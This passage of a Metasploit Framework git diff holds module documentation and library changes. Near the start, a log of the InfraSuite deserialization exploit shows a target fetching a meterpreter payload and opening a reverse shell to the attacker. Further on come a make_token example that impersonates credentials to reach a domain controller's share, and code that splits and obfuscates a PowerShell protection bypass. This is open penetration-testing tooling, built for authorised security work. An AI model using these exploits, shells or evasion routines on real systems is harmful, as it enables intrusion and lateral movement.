outgoing connections + SSLCert no Path to a custom SSL certificate (default is randomly g + enerated) + TARGETURI / yes The base path to the InfraSuite Manager + URIPATH no The URI to use for this exploit (default is random) + VHOST no HTTP server virtual host + + + When CMDSTAGER::FLAVOR is one of auto,tftp,wget,curl,fetch,lwprequest,psh_invokewebrequest,ftp_http: + + Name Current Setting Required Description + ---- --------------- -------- ----------- + SRVHOST 0.0.0.0 yes The local host or network interface to listen on. This must be + an address on the local machine or 0.0.0.0 to listen on all add + resses. + SRVPORT 8080 yes The local port to listen on. + + +Payload options (windows/meterpreter/reverse_tcp): + + Name Current Setting Required Description + ---- --------------- -------- ----------- + EXITFUNC process yes Exit technique (Accepted: '', seh, thread, process, none) + LHOST 192.168.140.1 yes The listen address (an interface may be specified) + LPORT 4444 yes The listen port + + +Exploit target: + + Id Name + -- ---- + 0 Windows EXE Dropper + + + +View the full module info with the info, or info -d command. + + +msf6 exploit(windows/misc/delta_electronics_infrasuite_deserialization) > run + +[*] Started reverse TCP handler on 192.168.140.1:4444 +[*] Running automatic check ("set AutoCheck false" to disable) +[*] Requesting the login page to determine if target is Infrasuite Device Master... +[*] Target is InfraSuite Device Master. Now attempting to determine version. +[+] The target appears to be vulnerable. +[*] Using URL: http://192.168.140.1:8080/xkRhewOXntAgYs +[*] Command Stager progress - 100.00% done (153/153 bytes) +[*] Client 192.168.140.187 (Mozilla/5.0 (Windows NT; Windows NT 10.0; en-US) WindowsPowerShell/5.1.19041.2673) requested /xkRhewOXntAgYs +[*] Sending payload to 192.168.140.187 (Mozilla/5.0 (Windows NT; Windows NT 10.0; en-US) WindowsPowerShell/5.1.19041.2673) +[*] Sending stage (175686 bytes) to 192.168.140.187 +[*] Meterpreter session 1 opened (192.168.140.1:4444 -> 192.168.140.187:50409) at 2023-06-05 17:09:29 -0500 +[*] Server stopped. + +meterpreter > getuid +Server username: DESKTOP-R6RCNHH\space +meterpreter > sysinfo +Computer : DESKTOP-R6RCNHH +OS : Windows 10 (10.0 Build 19045). +Architecture : x64 +System Language : en_US +Domain : WORKGROUP +Logged On Users : 5 +Meterpreter : x86/windows +meterpreter > +``` diff --git a/documentation/modules/post/windows/manage/make_token.md b/documentation/modules/post/windows/manage/make_token.md new file mode 100644 index 0000000000000..db481fd712b8e --- /dev/null +++ b/documentation/modules/post/windows/manage/make_token.md @@ -0,0 +1,85 @@ +## Vulnerable Application +In its default configuration, this module creates a new network security context with the specified +logon data (username, domain and password). Under the hood, Meterpreter's access token is cloned, and +a new logon session is created and linked to that token. The token is then impersonated to acquire +the new network security context. This module has no effect on local actions - only on remote ones +(where the specified credential material will be used). This module does not validate the credentials +specified. + +## Verification Steps + +1. Start msfconsole +2. Get a Meterpreter session +3. Do: `use post/windows/manage/make_token` +4. Set the `USERNAME`, `PASSWORD` and `DOMAIN` options +5. Run the module + +## Options +### USERNAME +Username to use + +### PASSWORD +Password to use + +### DOMAIN +Domain to use + +### LOGONTYPE +The type of logon operation to perform (defaults to `LOGON32_LOGON_NEW_CREDENTIALS`) + +### LOGONTYPE +This module defaults to `LOGON32_LOGON_NEW_CREDENTIALS` so as to mimic the behaviour of Cobalt Strike's +[`make_token`](https://www.cobaltstrike.com/blog/windows-access-tokens-and-alternate-credentials/) command. +However, any valid LOGONTYPE for the LogonUser function can be specified. More details can be found at +, by checking the +`dwLogonType` flag. + +## Scenarios +This module can be used as an alternative to modules like `post/windows/manage/run_as` or +`post/windows/manage/run_as_psh`, which require the creation of a new process. This module impersonates the specified +credentials in the current Meterpreter session, which can be leveraged to enum or move laterally to other systems on +behalf of the impersonated user. + +### Limitations +In its default configuration, this module does not require privileges to create a new security context (new access +token). Despite of this, some actions with the new token might require privileges. For example, in order to create a +process with an access token - with functions like [CreateProcessAsUser](https://learn.microsoft.com/en- +us/windows/win32/api/processthreadsapi/nf-processthreadsapi-createprocessasusera) or +[CreateProcessWithToken](https://learn.microsoft.com/en-us/windows/win32/api/winbase/nf-winbase-createprocesswithtokenw) +- administrative privileges are needed. This means that if you use this module with a non-privileged user, your new +processes will not inherit `make_token`'s security context. + +### Example + +``` +meterpreter > getuid +Server username: CAP\vegeta +meterpreter > ls \\\\dc01\\C$ +[-] stdapi_fs_stat: Operation failed: Access is denied. +meterpreter > run post/windows/manage/make_token username=bulma_da password=Patatas123 domain=capsule.corp + +[*] Executing rev2self to revert any previous token impersonations +[*] Executing LogonUserA with the flag LOGON32_LOGON_NEW_CREDENTIALS to create a new security context for capsule.corp\bulma_da +[*] Impersonating the new security context... +[+] The session should now run with the new security context! +[!] Remember that this will not have any effect on local actions (i.e. getuid will still show the original user) +meterpreter > ls \\\\dc01\\C$ +Listing: \\dc01\C$ +================== + +Mode Size Type Last modified Name +---- ---- ---- ------------- ---- +040777/rwxrwxrwx 0 dir 2021-05-08 10:20:24 +0200 $Recycle.Bin +040777/rwxrwxrwx 0 dir 2023-05-19 12:06:35 +0200 $WinREAgent +040777/rwxrwxrwx 0 dir 2023-05-19 09:44:10 +0200 Documents and Settings +100666/rw-rw-rw- 12288 fil 2023-06-06 09:25:56 +0200 DumpStack.log.tmp +040777/rwxrwxrwx 0 dir 2021-05-08 10:20:24 +0200 PerfLogs +040555/r-xr-xr-x 0 dir 2023-05-19 09:53:15 +0200 Program Files +040777/rwxrwxrwx 0 dir 2021-05-08 11:40:15 +0200 Program Files (x86) +040777/rwxrwxrwx 0 dir 2023-05-19 09:44:33 +0200 ProgramData +040777/rwxrwxrwx 0 dir 2023-05-19 09:44:10 +0200 Recovery +040777/rwxrwxrwx 0 dir 2023-05-19 09:55:58 +0200 System Volume Information +040555/r-xr-xr-x 0 dir 2023-05-19 09:44:15 +0200 Users +040777/rwxrwxrwx 0 dir 2023-05-19 09:52:08 +0200 Windows +100666/rw-rw-rw- 402653184 fil 2023-06-06 09:25:56 +0200 pagefile.sys +``` diff --git a/external/vscode/launch.json b/external/vscode/launch.json index 7f16ee0d9df63..333471da7f638 100644 --- a/external/vscode/launch.json +++ b/external/vscode/launch.json @@ -14,6 +14,8 @@ "args": [], "askParameters": true, "localfs": true, + "useBundler": true, + "useTerminal": true, "debugPort": "127.0.0.1:55634" }, { @@ -21,6 +23,8 @@ "name": "Attach with rdbg", "request": "attach", "localfs": true, + "useTerminal": true, + "useBundler": true, "debugPort": "127.0.0.1:55634" } ] diff --git a/lib/metasploit/framework/compiler/mingw.rb b/lib/metasploit/framework/compiler/mingw.rb index 49fed00a9b5a5..4bf931fe81f84 100644 --- a/lib/metasploit/framework/compiler/mingw.rb +++ b/lib/metasploit/framework/compiler/mingw.rb @@ -34,6 +34,7 @@ def build_cmd(src) cmd << "#{self.mingw_bin} " cmd << "#{src_file} -I #{INCLUDE_DIR} " + cmd << "#{self.include_dirs.map { |include_dir| "-iquote #{include_dir}" }.join(' ')} " if self.include_dirs.any? cmd << "-o #{exe_file} " # gives each function its own section @@ -77,7 +78,7 @@ def cleanup_files class X86 include Mingw - attr_reader :file_name, :keep_exe, :keep_src, :strip_syms, :link_script, :opt_lvl, :mingw_bin, :compile_options, :show_compile_cmd + attr_reader :file_name, :keep_exe, :keep_src, :strip_syms, :link_script, :opt_lvl, :mingw_bin, :compile_options, :show_compile_cmd, :include_dirs def initialize(opts={}) @file_name = opts[:f_name] @@ -88,6 +89,7 @@ def initialize(opts={}) @link_script = opts[:linker_script] @compile_options = opts[:compile_options] @opt_lvl = opts[:opt_lvl] + @include_dirs = opts[:include_dirs] @mingw_bin = MINGW_X86 end @@ -99,7 +101,7 @@ def self.available? class X64 include Mingw - attr_reader :file_name, :keep_exe, :keep_src, :strip_syms, :link_script, :opt_lvl, :mingw_bin, :compile_options, :show_compile_cmd + attr_reader :file_name, :keep_exe, :keep_src, :strip_syms, :link_script, :opt_lvl, :mingw_bin, :compile_options, :show_compile_cmd, :include_dirs def initialize(opts={}) @file_name = opts[:f_name] @@ -110,6 +112,7 @@ def initialize(opts={}) @link_script = opts[:linker_script] @compile_options = opts[:compile_options] @opt_lvl = opts[:opt_lvl] + @include_dirs = opts[:include_dirs] @mingw_bin = MINGW_X64 end diff --git a/lib/metasploit/framework/login_scanner/smb.rb b/lib/metasploit/framework/login_scanner/smb.rb index dd723e0bfd0d2..d2afbae113ca5 100644 --- a/lib/metasploit/framework/login_scanner/smb.rb +++ b/lib/metasploit/framework/login_scanner/smb.rb @@ -2,6 +2,7 @@ require 'metasploit/framework/tcp/client' require 'metasploit/framework/login_scanner/base' require 'metasploit/framework/login_scanner/rex_socket' +require 'metasploit/framework/login_scanner/kerberos' require 'ruby_smb' module Metasploit diff --git a/lib/metasploit/framework/version.rb b/lib/metasploit/framework/version.rb index 49f68299358bd..77e248639b126 100644 --- a/lib/metasploit/framework/version.rb +++ b/lib/metasploit/framework/version.rb @@ -32,7 +32,7 @@ def self.get_hash end end - VERSION = "6.3.17" + VERSION = "6.3.22" MAJOR, MINOR, PATCH = VERSION.split('.').map { |x| x.to_i } PRERELEASE = 'dev' HASH = get_hash diff --git a/lib/msf/base/sessions/aws_ssm_command_shell_bind.rb b/lib/msf/base/sessions/aws_ssm_command_shell_bind.rb new file mode 100644 index 0000000000000..b9768d9491496 --- /dev/null +++ b/lib/msf/base/sessions/aws_ssm_command_shell_bind.rb @@ -0,0 +1,80 @@ +# -*- coding: binary -*- + +module Msf::Sessions + ### + # + # This class provides basic interaction with an AWS SSM + # session socket encapsulated by a + # Rex::Proto::Http::WebSocket::AmazonSsm::Interface::SsmChannel + # + # Date: Feb 4, 2023 + # Author: RageLtMan + # + ### + class AwsSsmCommandShellBind < Msf::Sessions::CommandShell + + # + # This interface supports basic interaction. + # + include Msf::Session::Basic + + # + # This interface supports interacting with a single command shell. + # + include Msf::Session::Provider::SingleCommandShell + + def abort_foreground_supported + false + end + + def shell_command_token_unix(cmd, timeout=10) + res = super + + res.gsub!("\r\n", "\n") if res + res + end + + def initialize(conn, opts=nil) + super + + if opts && (ssm_peer_info = opts.fetch(:aws_ssm_host_info)) + case ssm_peer_info['PlatformType'] + when 'Linux' + @platform = 'linux' + @session_type = 'shell' + when 'MacOS' + @platform = 'osx' + @session_type = 'shell' + when 'Windows' + @platform = 'windows' + @session_type = 'powershell:winpty' + extend(Msf::Sessions::PowerShell::Mixin) + end + + @info = "AWS SSM #{ssm_peer_info['ResourceType']} (#{ssm_peer_info['InstanceId']})" + end + end + + def type + @session_type.dup + end + + def bootstrap(*args) + if @platform == 'linux' + # The session from SSM-SessionManagerRunShell starts with a TTY which breaks the post API so change the settings + # and make it behave in a way consistent with other shell sessions + shell_command('stty -echo cbreak;pipe=$(mktemp -u);mkfifo -m 600 $pipe;cat $pipe & sh 1>$pipe 2>$pipe; rm $pipe; exit') + end + + super + end + + ## + # + # Returns the session description. + # + def desc + 'AWS SSM command shell' + end + end +end diff --git a/lib/msf/base/sessions/command_shell.rb b/lib/msf/base/sessions/command_shell.rb index 2f5a00f085b03..e05a36697e28c 100644 --- a/lib/msf/base/sessions/command_shell.rb +++ b/lib/msf/base/sessions/command_shell.rb @@ -130,7 +130,7 @@ def bootstrap(datastore = {}, handler = nil) end # Only populate +session.info+ with a captured banner if the shell is responsive and verified - session.info = session_info + session.info = session_info if session.info.blank? session else # Encrypted shells need all information read before anything is written, so we read in the banner here. However we @@ -406,7 +406,7 @@ def cmd_download_help print_line("Usage: download [src] [dst]") print_line print_line("Downloads remote files to the local machine.") - print_line("This command does not support to download a FOLDER yet") + print_line("Only files are supported.") print_line end @@ -432,6 +432,9 @@ def cmd_download(*args) # Write file to local machine File.binwrite(dst, content) print_good("Done") + + rescue NotImplementedError => e + print_error(e.message) end def cmd_upload_help @@ -469,6 +472,9 @@ def cmd_upload(*args) elog(e) return end + + rescue NotImplementedError => e + print_error(e.message) end def cmd_source_help @@ -793,6 +799,8 @@ def vprint_status(s) end def _file_transfer + raise NotImplementedError.new('Session does not support file transfers.') if @session_type.ends_with?(':winpty') + FileTransfer.new(self) end end diff --git a/lib/msf/base/sessions/powershell.rb b/lib/msf/base/sessions/powershell.rb index 7f1ae530974ed..cbf3bf08f0774 100644 --- a/lib/msf/base/sessions/powershell.rb +++ b/lib/msf/base/sessions/powershell.rb @@ -1,6 +1,42 @@ # -*- coding: binary -*- class Msf::Sessions::PowerShell < Msf::Sessions::CommandShell + module Mixin + # + # Takes over the shell_command of the parent + # + def shell_command(cmd, timeout = 1800) + # insert random marker + strm = Rex::Text.rand_text_alpha(15) + endm = Rex::Text.rand_text_alpha(15) + + # Send the shell channel's stdin. + shell_write(";'#{strm}'\n" + cmd + "\n'#{endm}';\n") + + etime = ::Time.now.to_f + timeout + + buff = '' + # Keep reading data until the marker has been received or the 30 minute timeout has occurred + while (::Time.now.to_f < etime) + res = shell_read(-1, timeout) + break unless res + + timeout = etime - ::Time.now.to_f + + buff << res + next unless buff.include?(endm) + + # if you see the end marker, read the buffer from the start marker to the end and then display back to screen + buff = buff.split(/#{strm}\r\n/)[-1] + buff = buff.split(endm)[0] + buff.gsub!(/(?<=\r\n)PS [^>]*>/, '') + return buff + end + buff + end + end + + include Mixin # # Execute any specified auto-run scripts for this session @@ -45,36 +81,4 @@ def desc 'Powershell session' end - # - # Takes over the shell_command of the parent - # - def shell_command(cmd, timeout = 1800) - # insert random marker - strm = Rex::Text.rand_text_alpha(15) - endm = Rex::Text.rand_text_alpha(15) - - # Send the shell channel's stdin. - shell_write(";'#{strm}'\n" + cmd + "\n'#{endm}';\n") - - etime = ::Time.now.to_f + timeout - - buff = '' - # Keep reading data until the marker has been received or the 30 minute timeout has occured - while (::Time.now.to_f < etime) - res = shell_read(-1, timeout) - break unless res - - timeout = etime - ::Time.now.to_f - - buff << res - next unless buff.include?(endm) - - # if you see the end marker, read the buffer from the start marker to the end and then display back to screen - buff = buff.split(/#{strm}\r\n/)[-1] - buff = buff.split(endm)[0] - buff.gsub!(/(?<=\r\n)PS [^>]*>/, '') - return buff - end - buff - end end diff --git a/lib/msf/base/simple/buffer.rb b/lib/msf/base/simple/buffer.rb index 5b2b49b4e91e3..55aff6b5e19a8 100644 --- a/lib/msf/base/simple/buffer.rb +++ b/lib/msf/base/simple/buffer.rb @@ -63,6 +63,8 @@ def self.transform(buf, fmt = "ruby", var_name = 'buf', encryption_opts={}) buf = Rex::Text.encode_base64(buf) when 'go','golang' buf = Rex::Text.to_golang(buf) + when 'masm' + buf = Rex::Text.to_masm(buf) when 'nim','nimlang' buf = Rex::Text.to_nim(buf) when 'rust', 'rustlang' @@ -101,6 +103,8 @@ def self.comment(buf, fmt = "ruby") buf = Rex::Text.to_psh_comment(buf) when 'go','golang' buf = Rex::Text.to_golang_comment(buf) + when 'masm','ml64' + buf = Rex::Text.to_masm_comment(buf) when 'nim','nimlang' buf = Rex::Text.to_nim_comment(buf) when 'rust', 'rustlang' @@ -130,6 +134,7 @@ def self.transform_formats 'java', 'js_be', 'js_le', + 'masm', 'nim', 'nimlang', 'num', diff --git a/lib/msf/base/simple/exploit.rb b/lib/msf/base/simple/exploit.rb index 2e84c0c5b484a..9325a0b96c3f2 100644 --- a/lib/msf/base/simple/exploit.rb +++ b/lib/msf/base/simple/exploit.rb @@ -153,7 +153,8 @@ def self.exploit_simple(oexploit, opts, &block) raise $! rescue ::Msf::OptionValidateError => e exploit.error = e - ::Msf::Ui::Formatter::OptionValidateError.print_error(oexploit, e) + ::Msf::Ui::Formatter::OptionValidateError.print_error(exploit, e) + return false rescue ::Exception => e exploit.error = e exploit.print_error("Exploit failed: #{e}") @@ -248,4 +249,3 @@ def self.job_check_proc(ctx) end end - diff --git a/lib/msf/base/simple/framework/module_paths.rb b/lib/msf/base/simple/framework/module_paths.rb index eef5cdb65d581..625cd1c64bb4b 100644 --- a/lib/msf/base/simple/framework/module_paths.rb +++ b/lib/msf/base/simple/framework/module_paths.rb @@ -48,7 +48,7 @@ def init_module_paths(opts={}) # Load each of the module paths allowed_module_paths.each do |path| - self.modules.add_module_path(path, opts) + self.modules.add_module_path(path, opts, recalculate: false) end @module_paths_inited = true diff --git a/lib/msf/core/exploit/cmd_stager.rb b/lib/msf/core/exploit/cmd_stager.rb index e161f3e7cb5bc..e4a25c90ba93e 100644 --- a/lib/msf/core/exploit/cmd_stager.rb +++ b/lib/msf/core/exploit/cmd_stager.rb @@ -93,14 +93,16 @@ def execute_cmdstager(opts = {}) sent = 0 total_bytes = 0 - cmd_list.each { |cmd| total_bytes += cmd.length } + cmd_list.each { |cmd| total_bytes += cmd.bytesize } delay = opts[:delay] delay ||= 0.25 cmd_list.each do |cmd| + # calculate string beforehand length in case exploit mutates string + command_length = cmd.bytesize execute_command(cmd, opts) - sent += cmd.length + sent += command_length # In cases where a server has multiple threads, we want to be sure that # commands we execute happen in the correct (serial) order. diff --git a/lib/msf/core/exploit/cmd_stager/http.rb b/lib/msf/core/exploit/cmd_stager/http.rb index f76bb10da402b..9f37a162f9da0 100644 --- a/lib/msf/core/exploit/cmd_stager/http.rb +++ b/lib/msf/core/exploit/cmd_stager/http.rb @@ -42,7 +42,7 @@ def on_request_uri(cli, request) unless user_agent =~ agent_regex print_status("Sending 404 to #{client}") - send_not_found(cli) + return send_not_found(cli) end print_status("Sending payload to #{client}") diff --git a/lib/msf/core/exploit/powershell.rb b/lib/msf/core/exploit/powershell.rb index 7d8406d66959a..cdd3ef18a4150 100644 --- a/lib/msf/core/exploit/powershell.rb +++ b/lib/msf/core/exploit/powershell.rb @@ -236,7 +236,7 @@ def cmd_psh_payload(pay, payload_arch, opts = {}) prepend_protections_bypass = opts.delete(:prepend_protections_bypass) if %w[ auto true ].include?(prepend_protections_bypass) - opts[:prepend] = bypass_powershell_protections + opts[:prepend] = bypass_powershell_protections.join end unless opts.key? :shorten @@ -262,9 +262,12 @@ def cmd_psh_payload(pay, payload_arch, opts = {}) # # Return all bypasses checking if PowerShell version > 3 # - # @return [String] PowerShell code to disable PowerShell Built-In Protections - def bypass_powershell_protections - # generate the protections bypass in three short steps + # @param split [Integer] The number of parts the final script should be split in + # + # @return [Array] PowerShell code to disable PowerShell Built-In + # Protections as an array of elements. + def bypass_powershell_protections(split = 1) + # generate the protections bypass in four short steps # step 1: shuffle the instructions by rendering the GraphML script = Rex::Payloads::Shuffle.from_graphml_file( File.join(Msf::Config.install_root, 'data', 'evasion', 'windows', 'bypass_powershell_protections.erb.graphml'), @@ -274,7 +277,23 @@ def bypass_powershell_protections # step 3: obfuscate variable names and remove whitespace script = Rex::Powershell::Script.new(script) script.sub_vars if datastore['Powershell::sub_vars'] - Rex::Powershell::PshMethods.uglify_ps(script.to_s) + # step 4: randomly split the script in chunks (if required) + if split > 1 + script_lines = script.lines + if split > script_lines.size + raise "Cannot split in #{split} parts since the command has only #{script_lines.size} lines of code" + end + vprint_status("Splitting bypass protection script in #{split} parts") + script_parts = [] + (split - 1).times do |part| + max_for_this_part = script_lines.size - split + part + 1 + script_parts << script_lines.shift(rand(1..max_for_this_part)).join + end + script_parts << script_lines.join + script_parts.map { |part| Rex::Powershell::PshMethods.uglify_ps(part) } + else + [Rex::Powershell::PshMethods.uglify_ps(script.to_s)] + end end # diff --git a/lib/msf/core/exploit/remote/http/gitlab/form/authenticate.rb b/lib/msf/core/exploit/remote/http/gitlab/form/authenticate.rb index ab349ff438418..993dc22453e6e 100644 --- a/lib/msf/core/exploit/remote/http/gitlab/form/authenticate.rb +++ b/lib/msf/core/exploit/remote/http/gitlab/form/authenticate.rb @@ -7,13 +7,15 @@ module Msf::Exploit::Remote::HTTP::Gitlab::Form::Authenticate # @param username [String] Username # @param password [String] Password # @return [String,nil] the session cookies as a single string on successful login, nil otherwise + # @raise [Msf::Exploit::Remote::HTTP::Gitlab::Error::ClientError] if the request timed out + # @raise [Msf::Exploit::Remote::HTTP::Gitlab::Error::AuthenticationError] if the authenticaiton failed + # @raise [Msf::Exploit::Remote::HTTP::Gitlab::Error::CsrfError] if it was not possible to extract the CSRF token def gitlab_sign_in(username, password) sign_in_path = '/users/sign_in' csrf_token = gitlab_helper_extract_csrf_token( path: sign_in_path, regex: %r{action="/users/sign_in".*name="authenticity_token"\s+value="([^"]+)"} ) - raise Msf::Exploit::Remote::HTTP::GitLab::Error::CsrfError unless csrf_token res = send_request_cgi({ 'method' => 'POST', diff --git a/lib/msf/core/exploit/remote/http/gitlab/helpers.rb b/lib/msf/core/exploit/remote/http/gitlab/helpers.rb index c318d713d6c96..44cb9e3ca89fa 100644 --- a/lib/msf/core/exploit/remote/http/gitlab/helpers.rb +++ b/lib/msf/core/exploit/remote/http/gitlab/helpers.rb @@ -23,6 +23,13 @@ def gitlab_helper_login_post_data(user, pass, csrf_token) post_data end + # Extract the CSRF token at the given URI using the provided regex + # + # @param path [String] the URI to retrive the CSRF token from + # @param regex [String] the regex used to extract the CSRF token from the HTML response + # @return [String] the CSRF token + # @raise [Msf::Exploit::Remote::HTTP::Gitlab::Error::ClientError] if the request timed out + # @raise [Msf::Exploit::Remote::HTTP::Gitlab::Error::CsrfError] if it was not possible to extract the CSRF token def gitlab_helper_extract_csrf_token(path:, regex:) res = send_request_cgi({ 'method' => 'GET', diff --git a/lib/msf/core/exploit/remote/jndi_injection.rb b/lib/msf/core/exploit/remote/jndi_injection.rb index 468b9c5276343..277f1b15d7dd2 100644 --- a/lib/msf/core/exploit/remote/jndi_injection.rb +++ b/lib/msf/core/exploit/remote/jndi_injection.rb @@ -29,7 +29,7 @@ def initialize(info = {}) # @return [String] the JNDI string def jndi_string(resource = nil) resource ||= "dc=#{Rex::Text.rand_text_alpha_lower(6)},dc=#{Rex::Text.rand_text_alpha_lower(3)}" - "ldap://#{datastore['SRVHOST']}:#{datastore['SRVPORT']}/#{resource}" + "ldap://#{Rex::Socket.to_authority(datastore['SRVHOST'], datastore['SRVPORT'])}/#{resource}" end ## LDAP service callbacks @@ -60,9 +60,12 @@ def on_dispatch_request(client, data) else service.encode_ldap_response(pdu.message_i, 50, '', 'Not authenticated', Net::LDAP::PDU::SearchResult) end + when Net::LDAP::PDU::UnbindRequest + vprint_status("Client sent unbind request") + nil # close client, no response can be sent over unbound comm else vprint_status("Client sent unexpected request #{pdu.app_tag}") - client.close + nil # close client, can't handle the unknown end resp.nil? ? client.close : on_send_response(client, resp) rescue StandardError => e diff --git a/lib/msf/core/exploit/remote/kerberos/client/as_request.rb b/lib/msf/core/exploit/remote/kerberos/client/as_request.rb index ef5712c77de13..6eb82cb2c6423 100644 --- a/lib/msf/core/exploit/remote/kerberos/client/as_request.rb +++ b/lib/msf/core/exploit/remote/kerberos/client/as_request.rb @@ -85,7 +85,7 @@ def build_as_request_body(opts = {}) from = opts.fetch(:from) { Time.at(0).utc } till = opts.fetch(:till) { Time.at(0).utc } rtime = opts.fetch(:rtime) { Time.at(0).utc } - nonce = opts.fetch(:nonce) { Rex::Text.rand_text_numeric(6).to_i } + nonce = opts.fetch(:nonce) { rand(1 << 24) } etype = opts.fetch(:etype) { Rex::Proto::Kerberos::Crypto::Encryption::DefaultOfferedEtypes } cname = opts.fetch(:cname) { build_client_name(opts) } realm = opts.fetch(:realm) { '' } diff --git a/lib/msf/core/exploit/remote/kerberos/client/pkinit.rb b/lib/msf/core/exploit/remote/kerberos/client/pkinit.rb index 1eabb3abab101..e28df241d4ec8 100644 --- a/lib/msf/core/exploit/remote/kerberos/client/pkinit.rb +++ b/lib/msf/core/exploit/remote/kerberos/client/pkinit.rb @@ -29,7 +29,7 @@ def build_dh dh = OpenSSL::PKey::DH.new( OpenSSL::ASN1::Sequence([ OpenSSL::ASN1::Integer(prime_modulus), - OpenSSL::ASN1::Integer(2), + OpenSSL::ASN1::Integer(2) ]).to_der ) if OpenSSL::PKey.respond_to?(:generate_key) @@ -195,9 +195,7 @@ def build_pa_pk_as_req(pfx, dh, dh_nonce, request_body, opts) ctime = opts.fetch(:ctime) { now_ctime } cusec = opts.fetch(:cusec) { now_time&.usec || 0 } nonce = opts.fetch(:nonce) { rand(1 << 31) } - # Request body needs to be tagged prior to encoding - request_body = OpenSSL::ASN1::ASN1Data.new([request_body.encode], 4, :CONTEXT_SPECIFIC) - data = request_body.to_der + data = request_body.encode checksum = Digest::SHA1.digest(data) pub_key_encoded = RASN1::Types::Integer.new(value: dh.pub_key.to_i).to_der auth_pack = Rex::Proto::Kerberos::Model::Pkinit::AuthPack.new( diff --git a/lib/msf/core/exploit/remote/ldap.rb b/lib/msf/core/exploit/remote/ldap.rb index 0b2f4003d3bc7..acfacda2dc333 100644 --- a/lib/msf/core/exploit/remote/ldap.rb +++ b/lib/msf/core/exploit/remote/ldap.rb @@ -356,7 +356,7 @@ def validate_bind_success!(ldap) # request failed. Alternatively, if the query_result parameter isn't a hash, then an # ArgumentError will be raised. # @return [Nil] This function does not return any data. - def validate_query_result!(query_result, filter) + def validate_query_result!(query_result, filter=nil) if query_result.class != Hash raise ArgumentError, 'Parameter to "validate_query_result!" function was not a Hash!' end @@ -364,27 +364,27 @@ def validate_query_result!(query_result, filter) # Codes taken from https://ldap.com/ldap-result-code-reference-core-ldapv3-result-codes case query_result[:code] when 0 - vprint_status("Successfully queried #{filter}.") + vprint_status("Successfully queried #{filter}.") if filter.present? when 1 # This is unknown as whilst we could fail on lack of authorization, this is not guaranteed with this error code. # The user will need to inspect the error message to determine the root cause of the issue. - fail_with(Msf::Module::Failure::Unknown, "An LDAP operational error occurred on #{filter}. It is likely the client requires authorization! The error was: #{query_result[:error_message].strip}") + fail_with(Msf::Module::Failure::Unknown, "An LDAP operational error occurred. It is likely the client requires authorization! The error was: #{query_result[:error_message].strip}") when 2 fail_with(Msf::Module::Failure::BadConfig, "The LDAP protocol being used by Metasploit isn't supported. The error was #{query_result[:error_message].strip}") when 3 - fail_with(Msf::Module::Failure::TimeoutExpired, "The LDAP server returned a timeout response to the query #{filter}.") + fail_with(Msf::Module::Failure::TimeoutExpired, 'The LDAP server returned a timeout response to the query.') when 4 - fail_with(Msf::Module::Failure::UnexpectedReply, "The LDAP query #{filter} was determined to result in too many entries for the LDAP server to return.") + fail_with(Msf::Module::Failure::UnexpectedReply, 'The LDAP query was determined to result in too many entries for the LDAP server to return.') when 11 - fail_with(Msf::Module::Failure::UnexpectedReply, "The LDAP server indicated that #{filter} hit some administrative limit within the server whilst the request was being processed.") + fail_with(Msf::Module::Failure::UnexpectedReply, 'The LDAP server indicated some administrative limit within the server whilst the request was being processed.') when 16 - fail_with(Msf::Module::Failure::NotFound, "The LDAP operation failed for #{filter} because the referenced attribute does not exist.") + fail_with(Msf::Module::Failure::NotFound, 'The LDAP operation failed because the referenced attribute does not exist.') when 18 - fail_with(Msf::Module::Failure::BadConfig, "The LDAP search with #{filter} failed because some matching is not supported for the target attribute type!") + fail_with(Msf::Module::Failure::BadConfig, 'The LDAP search failed because some matching is not supported for the target attribute type!') when 32 - fail_with(Msf::Module::Failure::UnexpectedReply, "The LDAP search with #{filter} failed cause the operation targeted an entity within the base DN that does not exist.") + fail_with(Msf::Module::Failure::UnexpectedReply, 'The LDAP search failed because the operation targeted an entity within the base DN that does not exist.') when 33 - fail_with(Msf::Module::Failure::BadConfig, "An attempt was made to deference an alias that didn't resolve properly with #{filter}.") + fail_with(Msf::Module::Failure::BadConfig, "An attempt was made to dereference an alias that didn't resolve properly.") when 34 fail_with(Msf::Module::Failure::BadConfig, 'The request included an invalid base DN entry.') when 50 @@ -396,14 +396,14 @@ def validate_query_result!(query_result, filter) when 53 fail_with(Msf::Module::Failure::UnexpectedReply, 'The LDAP operation failed because the server is unwilling to perform the request.') when 64 - fail_with(Msf::Module::Failure::Unknown, "The LDAP operation failed due to a naming violation when using #{filter}.") + fail_with(Msf::Module::Failure::Unknown, 'The LDAP operation failed due to a naming violation.') when 65 - fail_with(Msf::Module::Failure::Unknown, "The LDAP operation failed due to an object class violation when using #{filter}.") + fail_with(Msf::Module::Failure::Unknown, 'The LDAP operation failed due to an object class violation.') else if query_result[:error_message].blank? - fail_with(Msf::Module::Failure::Unknown, "Query #{filter} failed but no error message was returned!") + fail_with(Msf::Module::Failure::Unknown, 'The LDAP operation failed but no error message was returned!') else - fail_with(Msf::Module::Failure::Unknown, "Query #{filter} failed with error: #{query_result[:error_message].strip}") + fail_with(Msf::Module::Failure::Unknown, "The LDAP operation failed with error: #{query_result[:error_message].strip}") end end end diff --git a/lib/msf/core/exploit/remote/ms_icpr.rb b/lib/msf/core/exploit/remote/ms_icpr.rb index 2c3387a1491b8..15e8350c4a8c4 100644 --- a/lib/msf/core/exploit/remote/ms_icpr.rb +++ b/lib/msf/core/exploit/remote/ms_icpr.rb @@ -15,7 +15,8 @@ module Exploit::Remote::MsIcpr include Msf::Exploit::Remote::DCERPC include Msf::Auxiliary::Report - NTDS_CA_SECURITY_EXT = '1.3.6.1.4.1.311.25.2'.freeze + # [2.2.2.7.7.4 szOID_NTDS_CA_SECURITY_EXT](https://learn.microsoft.com/en-us/openspecs/windows_protocols/ms-wcce/e563cff8-1af6-4e6f-a655-7571ca482e71) + OID_NTDS_CA_SECURITY_EXT = '1.3.6.1.4.1.311.25.2'.freeze # [2.2.2.7.5 szOID_NT_PRINCIPAL_NAME](https://docs.microsoft.com/en-us/openspecs/windows_protocols/ms-wcce/ea9ef420-4cbf-44bc-b093-c4175139f90f) OID_NT_PRINCIPAL_NAME = '1.3.6.1.4.1.311.20.2.3'.freeze # [[MS-WCCE]: Windows Client Certificate Enrollment Protocol](https://docs.microsoft.com/en-us/openspecs/windows_protocols/ms-winerrata/c39fd72a-da21-4b13-b329-c35d61f74a60) @@ -37,6 +38,7 @@ def initialize(info = {}) OptString.new('CA', [ true, 'The target certificate authority' ]), OptString.new('CERT_TEMPLATE', [ true, 'The certificate template', 'User' ]), OptString.new('ALT_DNS', [ false, 'Alternative certificate DNS' ]), + OptString.new('ALT_SID', [ false, 'Alternative object 